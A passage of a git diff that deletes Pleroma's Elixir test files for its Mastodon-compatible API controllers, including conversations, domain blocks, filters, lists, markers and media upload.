key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session() - - test_path = "/web/statuses/test" - %{conn: conn, path: test_path} - end - - test "redirects to the saved path after log in", %{conn: conn, path: path} do - app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") - auth = insert(:oauth_authorization, app: app) - - conn = - conn - |> put_session(:return_to, path) - |> get("/web/login", %{code: auth.token}) - - assert conn.status == 302 - assert redirected_to(conn) == path - end - - test "redirects to the getting-started page when referer is not present", %{conn: conn} do - app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") - auth = insert(:oauth_authorization, app: app) - - conn = get(conn, "/web/login", %{code: auth.token}) - - assert conn.status == 302 - assert redirected_to(conn) == "/web/getting-started" - end - end - - describe "POST /auth/password, with valid parameters" do - setup %{conn: conn} do - user = insert(:user) - conn = post(conn, "/auth/password?email=#{user.email}") - %{conn: conn, user: user} - end - - test "it returns 204", %{conn: conn} do - assert empty_json_response(conn) - end - - test "it creates a PasswordResetToken record for user", %{user: user} do - token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) - assert token_record - end - - test "it sends an email to user", %{user: user} do - ObanHelpers.perform_all() - token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) - - email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - end - - describe "POST /auth/password, with nickname" do - test "it returns 204", %{conn: conn} do - user = insert(:user) - - assert conn - |> post("/auth/password?nickname=#{user.nickname}") - |> empty_json_response() - - ObanHelpers.perform_all() - token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) - - email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - - test "it doesn't fail when a user has no email", %{conn: conn} do - user = insert(:user, %{email: nil}) - - assert conn - |> post("/auth/password?nickname=#{user.nickname}") - |> empty_json_response() - end - end - - describe "POST /auth/password, with invalid parameters" do - setup do - user = insert(:user) - {:ok, user: user} - end - - test "it returns 204 when user is not found", %{conn: conn, user: user} do - conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") - - assert empty_json_response(conn) - end - - test "it returns 204 when user is not local", %{conn: conn, user: user} do - {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) - conn = post(conn, "/auth/password?email=#{user.email}") - - assert empty_json_response(conn) - end - - test "it returns 204 when user is deactivated", %{conn: conn, user: user} do - {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) - conn = post(conn, "/auth/password?email=#{user.email}") - - assert empty_json_response(conn) - end - end - - describe "DELETE /auth/sign_out" do - test "redirect to root page", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> delete("/auth/sign_out") - - assert conn.status == 302 - assert redirected_to(conn) == "/" - end - end -end diff --git a/test/web/mastodon_api/controllers/conversation_controller_test.exs b/test/web/mastodon_api/controllers/conversation_controller_test.exs deleted file mode 100644 index 3e21e6bf1..000000000 --- a/test/web/mastodon_api/controllers/conversation_controller_test.exs +++ /dev/null @@ -1,209 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup do: oauth_access(["read:statuses"]) - - describe "returns a list of conversations" do - setup(%{user: user_one, conn: conn}) do - user_two = insert(:user) - user_three = insert(:user) - - {:ok, user_two} = User.follow(user_two, user_one) - - {:ok, %{user: user_one, user_two: user_two, user_three: user_three, conn: conn}} - end - - test "returns correct conversations", %{ - user: user_one, - user_two: user_two, - user_three: user_three, - conn: conn - } do - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - {:ok, direct} = create_direct_message(user_one, [user_two, user_three]) - - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 - - {:ok, _follower_only} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "private" - }) - - res_conn = get(conn, "/api/v1/conversations") - - assert response = json_response_and_validate_schema(res_conn, 200) - - assert [ - %{ - "id" => res_id, - "accounts" => res_accounts, - "last_status" => res_last_status, - "unread" => unread - } - ] = response - - account_ids = Enum.map(res_accounts, & &1["id"]) - assert length(res_accounts) == 2 - assert user_two.id in account_ids - assert user_three.id in account_ids - assert is_binary(res_id) - assert unread == false - assert res_last_status["id"] == direct.id - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 - end - - test "observes limit params", %{ - user: user_one, - user_two: user_two, - user_three: user_three, - conn: conn - } do - {:ok, _} = create_direct_message(user_one, [user_two, user_three]) - {:ok, _} = create_direct_message(user_two, [user_one, user_three]) - {:ok, _} = create_direct_message(user_three, [user_two, user_one]) - - res_conn = get(conn, "/api/v1/conversations?limit=1") - - assert response = json_response_and_validate_schema(res_conn, 200) - - assert Enum.count(response) == 1 - - res_conn = get(conn, "/api/v1/conversations?limit=2") - - assert response = json_response_and_validate_schema(res_conn, 200) - - assert Enum.count(response) == 2 - end - end - - test "filters conversations by recipients", %{user: user_one, conn: conn} do - user_two = insert(:user) - user_three = insert(:user) - {:ok, direct1} = create_direct_message(user_one, [user_two]) - {:ok, _direct2} = create_direct_message(user_one, [user_three]) - {:ok, direct3} = create_direct_message(user_one, [user_two, user_three]) - {:ok, _direct4} = create_direct_message(user_two, [user_three]) - {:ok, direct5} = create_direct_message(user_two, [user_one]) - - assert [conversation1, conversation2] = - conn - |> get("/api/v1/conversations?recipients[]=#{user_two.id}") - |> json_response_and_validate_schema(200) - - assert conversation1["last_status"]["id"] == direct5.id - assert conversation2["last_status"]["id"] == direct1.id - - [conversation1] = - conn - |> get("/api/v1/conversations?recipients[]=#{user_two.id}&recipients[]=#{user_three.id}") - |> json_response_and_validate_schema(200) - - assert conversation1["last_status"]["id"] == direct3.id - end - - test "updates the last_status on reply", %{user: user_one, conn: conn} do - user_two = insert(:user) - {:ok, direct} = create_direct_message(user_one, [user_two]) - - {:ok, direct_reply} = - CommonAPI.post(user_two, %{ - status: "reply", - visibility: "direct", - in_reply_to_status_id: direct.id - }) - - [%{"last_status" => res_last_status}] = - conn - |> get("/api/v1/conversations") - |> json_response_and_validate_schema(200) - - assert res_last_status["id"] == direct_reply.id - end - - test "the user marks a conversation as read", %{user: user_one, conn: conn} do - user_two = insert(:user) - {:ok, direct} = create_direct_message(user_one, [user_two]) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 - - user_two_conn = - build_conn() - |> assign(:user, user_two) - |> assign( - :token, - insert(:oauth_token, user: user_two, scopes: ["read:statuses", "write:conversations"]) - ) - - [%{"id" => direct_conversation_id, "unread" => true}] = - user_two_conn - |> get("/api/v1/conversations") - |> json_response_and_validate_schema(200) - - %{"unread" => false} = - user_two_conn - |> post("/api/v1/conversations/#{direct_conversation_id}/read") - |> json_response_and_validate_schema(200) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - - # The conversation is marked as unread on reply - {:ok, _} = - CommonAPI.post(user_two, %{ - status: "reply", - visibility: "direct", - in_reply_to_status_id: direct.id - }) - - [%{"unread" => true}] = - conn - |> get("/api/v1/conversations") - |> json_response_and_validate_schema(200) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - - # A reply doesn't increment the user's unread_conversation_count if the conversation is unread - {:ok, _} = - CommonAPI.post(user_two, %{ - status: "reply", - visibility: "direct", - in_reply_to_status_id: direct.id - }) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - end - - test "(vanilla) Mastodon frontend behaviour", %{user: user_one, conn: conn} do - user_two = insert(:user) - {:ok, direct} = create_direct_message(user_one, [user_two]) - - res_conn = get(conn, "/api/v1/statuses/#{direct.id}/context") - - assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) - end - - defp create_direct_message(sender, recips) do - hellos = - recips - |> Enum.map(fn s -> "@#{s.nickname}" end) - |> Enum.join(", ") - - CommonAPI.post(sender, %{ - status: "Hi #{hellos}!", - visibility: "direct" - }) - end -end diff --git a/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs b/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs deleted file mode 100644 index ab0027f90..000000000 --- a/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.CustomEmojiControllerTest do - use Pleroma.Web.ConnCase, async: true - - test "with tags", %{conn: conn} do - assert resp = - conn - |> get("/api/v1/custom_emojis") - |> json_response_and_validate_schema(200) - - assert [emoji | _body] = resp - assert Map.has_key?(emoji, "shortcode") - assert Map.has_key?(emoji, "static_url") - assert Map.has_key?(emoji, "tags") - assert is_list(emoji["tags"]) - assert Map.has_key?(emoji, "category") - assert Map.has_key?(emoji, "url") - assert Map.has_key?(emoji, "visible_in_picker") - end -end diff --git a/test/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/web/mastodon_api/controllers/domain_block_controller_test.exs deleted file mode 100644 index 664654500..000000000 --- a/test/web/mastodon_api/controllers/domain_block_controller_test.exs +++ /dev/null @@ -1,79 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - - import Pleroma.Factory - - test "blocking / unblocking a domain" do - %{user: user, conn: conn} = oauth_access(["write:blocks"]) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - assert User.blocks?(user, other_user) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - refute User.blocks?(user, other_user) - end - - test "blocking a domain via query params" do - %{user: user, conn: conn} = oauth_access(["write:blocks"]) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/domain_blocks?domain=dogwhistle.zone") - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - assert User.blocks?(user, other_user) - end - - test "unblocking a domain via query params" do - %{user: user, conn: conn} = oauth_access(["write:blocks"]) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - User.block_domain(user, "dogwhistle.zone") - user = refresh_record(user) - assert User.blocks?(user, other_user) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/domain_blocks?domain=dogwhistle.zone") - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - refute User.blocks?(user, other_user) - end - - test "getting a list of domain blocks" do - %{user: user, conn: conn} = oauth_access(["read:blocks"]) - - {:ok, user} = User.block_domain(user, "bad.site") - {:ok, user} = User.block_domain(user, "even.worse.site") - - assert ["even.worse.site", "bad.site"] == - conn - |> assign(:user, user) - |> get("/api/v1/domain_blocks") - |> json_response_and_validate_schema(200) - end -end diff --git a/test/web/mastodon_api/controllers/filter_controller_test.exs b/test/web/mastodon_api/controllers/filter_controller_test.exs deleted file mode 100644 index 0d426ec34..000000000 --- a/test/web/mastodon_api/controllers/filter_controller_test.exs +++ /dev/null @@ -1,152 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.MastodonAPI.FilterView - - test "creating a filter" do - %{conn: conn} = oauth_access(["write:filters"]) - - filter = %Pleroma.Filter{ - phrase: "knights", - context: ["home"] - } - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) - - assert response = json_response_and_validate_schema(conn, 200) - assert response["phrase"] == filter.phrase - assert response["context"] == filter.context - assert response["irreversible"] == false - assert response["id"] != nil - assert response["id"] != "" - end - - test "fetching a list of filters" do - %{user: user, conn: conn} = oauth_access(["read:filters"]) - - query_one = %Pleroma.Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - query_two = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "who", - context: ["home"] - } - - {:ok, filter_one} = Pleroma.Filter.create(query_one) - {:ok, filter_two} = Pleroma.Filter.create(query_two) - - response = - conn - |> get("/api/v1/filters") - |> json_response_and_validate_schema(200) - - assert response == - render_json( - FilterView, - "index.json", - filters: [filter_two, filter_one] - ) - end - - test "get a filter" do - %{user: user, conn: conn} = oauth_access(["read:filters"]) - - # check whole_word false - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"], - whole_word: false - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = get(conn, "/api/v1/filters/#{filter.filter_id}") - - assert response = json_response_and_validate_schema(conn, 200) - assert response["whole_word"] == false - - # check whole_word true - %{user: user, conn: conn} = oauth_access(["read:filters"]) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 3, - phrase: "knight", - context: ["home"], - whole_word: true - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = get(conn, "/api/v1/filters/#{filter.filter_id}") - - assert response = json_response_and_validate_schema(conn, 200) - assert response["whole_word"] == true - end - - test "update a filter" do - %{user: user, conn: conn} = oauth_access(["write:filters"]) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"], - hide: true, - whole_word: true - } - - {:ok, _filter} = Pleroma.Filter.create(query) - - new = %Pleroma.Filter{ - phrase: "nii", - context: ["home"] - } - - conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/filters/#{query.filter_id}", %{ - phrase: new.phrase, - context: new.context - }) - - assert response = json_response_and_validate_schema(conn, 200) - assert response["phrase"] == new.phrase - assert response["context"] == new.context - assert response["irreversible"] == true - assert response["whole_word"] == true - end - - test "delete a filter" do - %{user: user, conn: conn} = oauth_access(["write:filters"]) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"] - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = delete(conn, "/api/v1/filters/#{filter.filter_id}") - - assert json_response_and_validate_schema(conn, 200) == %{} - end -end diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs deleted file mode 100644 index 6749e0e83..000000000 --- a/test/web/mastodon_api/controllers/follow_request_controller_test.exs +++ /dev/null @@ -1,74 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "locked accounts" do - setup do - user = insert(:user, locked: true) - %{conn: conn} = oauth_access(["follow"], user: user) - %{user: user, conn: conn} - end - - test "/api/v1/follow_requests works", %{user: user, conn: conn} do - other_user = insert(:user) - - {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) - {:ok, other_user} = User.follow(other_user, user, :follow_pending) - - assert User.following?(other_user, user) == false - - conn = get(conn, "/api/v1/follow_requests") - - assert [relationship] = json_response_and_validate_schema(conn, 200) - assert to_string(other_user.id) == relationship["id"] - end - - test "/api/v1/follow_requests/:id/authorize works", %{user: user, conn: conn} do - other_user = insert(:user) - - {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) - {:ok, other_user} = User.follow(other_user, user, :follow_pending) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - - conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/authorize") - - assert relationship = json_response_and_validate_schema(conn, 200) - assert to_string(other_user.id) == relationship["id"] - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == true - end - - test "/api/v1/follow_requests/:id/reject works", %{user: user, conn: conn} do - other_user = insert(:user) - - {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) - - user = User.get_cached_by_id(user.id) - - conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/reject") - - assert relationship = json_response_and_validate_schema(conn, 200) - assert to_string(other_user.id) == relationship["id"] - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - end - end -end diff --git a/test/web/mastodon_api/controllers/instance_controller_test.exs b/test/web/mastodon_api/controllers/instance_controller_test.exs deleted file mode 100644 index 6a9ccd979..000000000 --- a/test/web/mastodon_api/controllers/instance_controller_test.exs +++ /dev/null @@ -1,87 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.InstanceControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - import Pleroma.Factory - - test "get instance information", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - assert result = json_response_and_validate_schema(conn, 200) - - email = Pleroma.Config.get([:instance, :email]) - # Note: not checking for "max_toot_chars" since it's optional - assert %{ - "uri" => _, - "title" => _, - "description" => _, - "version" => _, - "email" => from_config_email, - "urls" => %{ - "streaming_api" => _ - }, - "stats" => _, - "thumbnail" => _, - "languages" => _, - "registrations" => _, - "approval_required" => _, - "poll_limits" => _, - "upload_limit" => _, - "avatar_upload_limit" => _, - "background_upload_limit" => _, - "banner_upload_limit" => _, - "background_image" => _, - "chat_limit" => _, - "description_limit" => _ - } = result - - assert result["pleroma"]["metadata"]["account_activation_required"] != nil - assert result["pleroma"]["metadata"]["features"] - assert result["pleroma"]["metadata"]["federation"] - assert result["pleroma"]["metadata"]["fields_limits"] - assert result["pleroma"]["vapid_public_key"] - - assert email == from_config_email - end - - test "get instance stats", %{conn: conn} do - user = insert(:user, %{local: true}) - - user2 = insert(:user, %{local: true}) - {:ok, _user2} = User.deactivate(user2, !user2.deactivated) - - insert(:user, %{local: false, nickname: "u@peer1.com"}) - insert(:user, %{local: false, nickname: "u@peer2.com"}) - - {:ok, _} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) - - Pleroma.Stats.force_update() - - conn = get(conn, "/api/v1/instance") - - assert result = json_response_and_validate_schema(conn, 200) - - stats = result["stats"] - - assert stats - assert stats["user_count"] == 1 - assert stats["status_count"] == 1 - assert stats["domain_count"] == 2 - end - - test "get peers", %{conn: conn} do - insert(:user, %{local: false, nickname: "u@peer1.com"}) - insert(:user, %{local: false, nickname: "u@peer2.com"}) - - Pleroma.Stats.force_update() - - conn = get(conn, "/api/v1/instance/peers") - - assert result = json_response_and_validate_schema(conn, 200) - - assert ["peer1.com", "peer2.com"] == Enum.sort(result) - end -end diff --git a/test/web/mastodon_api/controllers/list_controller_test.exs b/test/web/mastodon_api/controllers/list_controller_test.exs deleted file mode 100644 index 091ec006c..000000000 --- a/test/web/mastodon_api/controllers/list_controller_test.exs +++ /dev/null @@ -1,176 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ListControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Repo - - import Pleroma.Factory - - test "creating a list" do - %{conn: conn} = oauth_access(["write:lists"]) - - assert %{"title" => "cuties"} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => "cuties"}) - |> json_response_and_validate_schema(:ok) - end - - test "renders error for invalid params" do - %{conn: conn} = oauth_access(["write:lists"]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => nil}) - - assert %{"error" => "title - null value where string expected."} = - json_response_and_validate_schema(conn, 400) - end - - test "listing a user's lists" do - %{conn: conn} = oauth_access(["read:lists", "write:lists"]) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => "cuties"}) - |> json_response_and_validate_schema(:ok) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists", %{"title" => "cofe"}) - |> json_response_and_validate_schema(:ok) - - conn = get(conn, "/api/v1/lists") - - assert [ - %{"id" => _, "title" => "cofe"}, - %{"id" => _, "title" => "cuties"} - ] = json_response_and_validate_schema(conn, :ok) - end - - test "adding users to a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - - assert %{} == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) - |> json_response_and_validate_schema(:ok) - - %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) - assert following == [other_user.follower_address] - end - - test "removing users from a list, body params" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - other_user = insert(:user) - third_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - {:ok, list} = Pleroma.List.follow(list, third_user) - - assert %{} == - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) - |> json_response_and_validate_schema(:ok) - - %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) - assert following == [third_user.follower_address] - end - - test "removing users from a list, query params" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - other_user = insert(:user) - third_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - {:ok, list} = Pleroma.List.follow(list, third_user) - - assert %{} == - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}") - |> json_response_and_validate_schema(:ok) - - %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) - assert following == [third_user.follower_address] - end - - test "listing users in a list" do - %{user: user, conn: conn} = oauth_access(["read:lists"]) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) - assert id == to_string(other_user.id) - end - - test "retrieving a list" do - %{user: user, conn: conn} = oauth_access(["read:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/lists/#{list.id}") - - assert %{"id" => id} = json_response_and_validate_schema(conn, 200) - assert id == to_string(list.id) - end - - test "renders 404 if list is not found" do - %{conn: conn} = oauth_access(["read:lists"]) - - conn = get(conn, "/api/v1/lists/666") - - assert %{"error" => "List not found"} = json_response_and_validate_schema(conn, :not_found) - end - - test "renaming a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - assert %{"title" => "newname"} = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/lists/#{list.id}", %{"title" => "newname"}) - |> json_response_and_validate_schema(:ok) - end - - test "validates title when renaming a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/json") - |> put("/api/v1/lists/#{list.id}", %{"title" => " "}) - - assert %{"error" => "can't be blank"} == - json_response_and_validate_schema(conn, :unprocessable_entity) - end - - test "deleting a list" do - %{user: user, conn: conn} = oauth_access(["write:lists"]) - {:ok, list} = Pleroma.List.create("name", user) - - conn = delete(conn, "/api/v1/lists/#{list.id}") - - assert %{} = json_response_and_validate_schema(conn, 200) - assert is_nil(Repo.get(Pleroma.List, list.id)) - end -end diff --git a/test/web/mastodon_api/controllers/marker_controller_test.exs b/test/web/mastodon_api/controllers/marker_controller_test.exs deleted file mode 100644 index 9f0481120..000000000 --- a/test/web/mastodon_api/controllers/marker_controller_test.exs +++ /dev/null @@ -1,131 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - describe "GET /api/v1/markers" do - test "gets markers with correct scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["read:statuses"]) - insert_list(7, :notification, user: user, activity: insert(:note_activity)) - - {:ok, %{"notifications" => marker}} = - Pleroma.Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "69420"}} - ) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> get("/api/v1/markers?timeline[]=notifications") - |> json_response_and_validate_schema(200) - - assert response == %{ - "notifications" => %{ - "last_read_id" => "69420", - "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), - "version" => 0, - "pleroma" => %{"unread_count" => 7} - } - } - end - - test "gets markers with missed scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: []) - - Pleroma.Marker.upsert(user, %{"notifications" => %{"last_read_id" => "69420"}}) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> get("/api/v1/markers", %{timeline: ["notifications"]}) - |> json_response_and_validate_schema(403) - - assert response == %{"error" => "Insufficient permissions: read:statuses."} - end - end - - describe "POST /api/v1/markers" do - test "creates a marker with correct scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/markers", %{ - home: %{last_read_id: "777"}, - notifications: %{"last_read_id" => "69420"} - }) - |> json_response_and_validate_schema(200) - - assert %{ - "notifications" => %{ - "last_read_id" => "69420", - "updated_at" => _, - "version" => 0, - "pleroma" => %{"unread_count" => 0} - } - } = response - end - - test "updates exist marker", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) - - {:ok, %{"notifications" => marker}} = - Pleroma.Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "69477"}} - ) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/markers", %{ - home: %{last_read_id: "777"}, - notifications: %{"last_read_id" => "69888"} - }) - |> json_response_and_validate_schema(200) - - assert response == %{ - "notifications" => %{ - "last_read_id" => "69888", - "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), - "version" => 0, - "pleroma" => %{"unread_count" => 0} - } - } - end - - test "creates a marker with missed scopes", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: []) - - response = - conn - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/markers", %{ - home: %{last_read_id: "777"}, - notifications: %{"last_read_id" => "69420"} - }) - |> json_response_and_validate_schema(403) - - assert response == %{"error" => "Insufficient permissions: write:statuses."} - end - end -end diff --git a/test/web/mastodon_api/controllers/media_controller_test.exs b/test/web/mastodon_api/controllers/media_controller_test.exs deleted file mode 100644 index 906fd940f..000000000 --- a/test/web/mastodon_api/controllers/media_controller_test.exs +++ /dev/null @@ -1,146 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - - describe "Upload media" do - setup do: oauth_access(["write:media"]) - - setup do - image = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - [image: image] - end - - setup do: clear_config([:media_proxy]) - setup do: clear_config([Pleroma.Upload]) - - test "/api/v1/media", %{conn: conn, image: image} do - desc = "Description of the image" - - media = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/media", %{"file" => image, "description" => desc}) - |> json_response_and_validate_schema(:ok) - - assert media["type"] == "image" - assert media["description"] == desc - assert media["id"] - - object = Object.get_by_id(media["id"]) - assert 